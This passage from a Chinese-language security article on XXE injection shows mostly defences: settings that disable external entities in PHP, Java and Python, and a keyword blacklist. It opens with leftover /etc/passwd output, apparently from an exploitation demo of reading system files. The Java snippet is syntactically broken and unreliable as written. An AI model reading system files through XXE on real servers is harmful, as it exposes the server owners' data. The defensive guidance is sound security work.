sync:x:4:65534:sync:/bin:/bin/sync....

六、XXE 如何防御

方案一:使用语言中推荐的禁用外部实体的方法
PHP:
1
libxml_disable_entity_loader(true);
JAVA:
1
2
3
4
5
6
7
8
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
python:
1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:手动黑名单过滤(不推荐)

过滤关键词:
1
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

七、总结

对 XXE 漏洞做了一个重新的认识,对其中一些细节问题做了对应的实战测试,重点在于 netdoc 的利用和 jar 协议的利用,这个 jar 协议的使用很神奇,网上的资料也比较少,我测试也花了很长的时间,希望有真实的案例能出现,利用方式还需要各位大师傅们的努力挖掘。
你的知识面,决定着你的攻击面。

参考:

https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection
http://www.freebuf.com/column/156863.html
http://www.freebuf.com/vuls/154415.html
https://xz.aliyun.com/t/2426
http://www.freebuf.com/articles/web/177979.html
http://www.freebuf.com/articles/web/126788.html
https://www.anquanke.com/post/id/86075
http://blog.nsfocus.net/xml-dtd-xxe/
http://www.freebuf.com/vuls/176837.html
https://xz.aliyun.com/t/2448
http://www.freebuf.com/articles/web/97833.html
https://xz.aliyun.com/t/2249
https://www.secpulse.com/archives/6256.html
https://blog.netspi.com/playing-content-type-xxe-json-endpoints/
https://xz.aliyun.com/t/122
https://shiftordie.de/blog/2017/02/18/smtp-over-xxe/
https://blog.csdn.net/u012991692/article/details/80866826
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html